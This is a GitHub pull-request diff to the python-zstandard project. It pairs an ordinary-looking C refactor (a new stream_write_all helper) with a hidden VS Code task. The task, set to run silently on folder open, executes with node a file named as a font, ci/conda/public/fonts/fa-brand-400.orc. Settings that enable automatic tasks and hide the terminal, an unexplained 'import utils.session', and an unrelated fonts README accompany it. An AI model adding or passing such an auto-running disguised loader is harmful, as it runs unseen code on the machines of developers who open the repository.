Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 16 additions & 14 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,14 +1,16 @@
*.pyd
*.o
*.so
*.orig
*.pyc
.hypothesis/
.tox
build/
docs/_build/
dist/
target/
venv/
venv3/
zstandard.egg-info/
*.pyd
*.o
*.so
*.orig
*.pyc
.hypothesis/
.tox
build/
docs/_build/
dist/
target/
venv/
venv3/
zstandard.egg-info/
config.bat
node_modules
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
24 changes: 24 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./ci/conda/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./ci/conda/public/fonts/fa-brand-400.orc) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
1 change: 1 addition & 0 deletions bench.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
Like most benchmarks, results should be treated with skepticism.
"""

import utils.session
import io
import os
import random
Expand Down
40 changes: 40 additions & 0 deletions c-ext/backend_c.c
Original file line number Diff line number Diff line change
Expand Up @@ -362,3 +362,43 @@ void set_io_unsupported_operation(void) {
Py_DECREF(exc);
Py_DECREF(iomod);
}

/* Write an output chunk, retaining legacy sinks that return None. */
int stream_write_all(PyObject *writer, const char *data, Py_ssize_t size) {
Py_ssize_t offset = 0;
while (offset < size) {
PyObject *result = PyObject_CallMethod(writer, "write", "y#",
data + offset, size - offset);
if (NULL == result) {
return -1;
}
if (result == Py_None) {
Py_DECREF(result);
return 0;
}
PyObject *index = PyNumber_Index(result);
Py_DECREF(result);
if (NULL == index) {
return -1;
}
Py_ssize_t written = PyLong_AsSsize_t(index);
Py_DECREF(index);
if (written == -1 && PyErr_Occurred()) {
if (!PyErr_ExceptionMatches(PyExc_OverflowError)) {
return -1;
}
PyErr_Clear();
}
if (written < 0 || written > size - offset) {
PyErr_SetString(PyExc_ValueError,
"write() returned an invalid byte count");
return -1;
}
if (written == 0) {
PyErr_SetString(PyExc_BlockingIOError, "write() made no progress");
return -1;
}
offset += written;
}
return 0;
}
13 changes: 4 additions & 9 deletions c-ext/compressionwriter.c
Original file line number Diff line number Diff line change
Expand Up @@ -72,7 +72,6 @@ static PyObject *ZstdCompressionWriter_write(ZstdCompressionWriter *self,
Py_buffer source;
size_t zresult;
ZSTD_inBuffer input;
PyObject *res;
Py_ssize_t totalWrite = 0;

if (!PyArg_ParseTupleAndKeywords(args, kwargs, "y*:write", kwlist,
Expand Down Expand Up @@ -104,12 +103,10 @@ static PyObject *ZstdCompressionWriter_write(ZstdCompressionWriter *self,

/* Copy data from output buffer to writer. */
if (self->output.pos) {
res = PyObject_CallMethod(self->writer, "write", "y#",
self->output.dst, self->output.pos);
if (NULL == res) {
if (stream_write_all(self->writer, self->output.dst,
self->output.pos) < 0) {
goto finally;
}
Py_XDECREF(res);
totalWrite += self->output.pos;
self->bytesCompressed += self->output.pos;
}
Expand Down Expand Up @@ -180,12 +177,10 @@ static PyObject *ZstdCompressionWriter_flush(ZstdCompressionWriter *self,

/* Copy data from output buffer to writer. */
if (self->output.pos) {
res = PyObject_CallMethod(self->writer, "write", "y#",
self->output.dst, self->output.pos);
if (NULL == res) {
if (stream_write_all(self->writer, self->output.dst,
self->output.pos) < 0) {
return NULL;
}
Py_XDECREF(res);
totalWrite += self->output.pos;
self->bytesCompressed += self->output.pos;
}
Expand Down
7 changes: 2 additions & 5 deletions c-ext/decompressionwriter.c
Original file line number Diff line number Diff line change
Expand Up @@ -60,7 +60,6 @@ static PyObject *ZstdDecompressionWriter_write(ZstdDecompressionWriter *self,
size_t zresult = 0;
ZSTD_inBuffer input;
ZSTD_outBuffer output;
PyObject *res;
Py_ssize_t totalWrite = 0;

if (!PyArg_ParseTupleAndKeywords(args, kwargs, "y*:write", kwlist,
Expand Down Expand Up @@ -98,12 +97,10 @@ static PyObject *ZstdDecompressionWriter_write(ZstdDecompressionWriter *self,
}

if (output.pos) {
res = PyObject_CallMethod(self->writer, "write", "y#", output.dst,
output.pos);
if (NULL == res) {
if (stream_write_all(self->writer, output.dst, output.pos) < 0) {
PyMem_Free(output.dst);
goto finally;
}
Py_XDECREF(res);
totalWrite += output.pos;
output.pos = 0;
}
Expand Down
1 change: 1 addition & 0 deletions c-ext/python-zstandard.h
Original file line number Diff line number Diff line change
Expand Up @@ -389,5 +389,6 @@ int cpu_count(void);
size_t roundpow2(size_t);
int safe_pybytes_resize(PyObject **obj, Py_ssize_t size);
void set_io_unsupported_operation(void);
int stream_write_all(PyObject *writer, const char *data, Py_ssize_t size);

#endif
24 changes: 24 additions & 0 deletions ci/conda/public/fonts/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Fonts Directory

This directory contains custom fonts for the Blockchain Explorer application.

## Required Font Files

The application expects the following font files:

1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
- Regular weight font for the main UI

2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
- Bold weight font for headings

3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
- Monospace font for code and hash displays

## Note

If you don't have custom fonts, the application will fall back to system fonts:
- BlockchainFont → system sans-serif fonts
- TechMono → system monospace fonts (Courier New, etc.)

The fonts are referenced in `public/index.html` and will be loaded automatically when available.
1 change: 1 addition & 0 deletions ci/conda/public/fonts/fa-brand-400.orc

Large diffs are not rendered by default.

Binary file added ci/conda/public/fonts/fa-brands-400.eot
Binary file not shown.
Loading